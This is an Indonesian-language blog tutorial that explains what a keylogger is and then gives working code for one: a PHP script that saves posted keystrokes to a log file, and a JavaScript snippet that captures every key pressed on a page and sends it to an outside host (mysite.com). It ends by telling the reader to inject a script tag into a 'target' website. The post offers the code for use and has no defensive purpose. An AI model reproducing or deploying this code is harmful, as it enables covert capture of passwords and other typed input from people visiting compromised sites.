Keystroke Logger (KeyLogger)
Keystroke Logger atau yang lebih dikenal dengan KeyLogger, merupakan program perangkat lunak yang diinstall dikomputer dan biasanya bersama-sama dengan Trojan Horse atau virus. KeyLogger ini merekam setiap aktifitas keystroke atau tombol keyboard yang ditekan. kemudian rekaman tersebut dikirim ke komputer remote.
Banyak situs atau blog yang memberikan tutorial tentang pembuatan KeyLogger ataupun menyediakan aplikasi keylogger. Dalam kesempatan ini saya akan memberikan contoh pembuatan KeyLoger sederhana menggunakan PHP dan Javascript.
Yang pertama adalah script PHP-nya (keylogger.php)
$key = $_POST['key'];
$logfile = "keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
Script Javascripnya (keylogger.js):
document.onkeypress = function(e) {
e = e || window.event;
key = String.fromCharCode(e.charCode);
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://mysite.com/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
File keylogger.php berfungsi sebagai proses penyimpanan hasil rekaman kedalam sebuah file dengan nama keylog.txt. File php ini berada pada website penerima (perekam) yang nantinya akan dieksekusi menggunakan AJAX yang ada pada file keylogger.js.
Untuk merekam aktifitas keyboard target, tambahkan script dibawah ini untuk meload file keylogger.js didalam website target yang aktif atau bisa diakses.
<script src="https://mysite.com/keylogger.js"></script>

0 komentar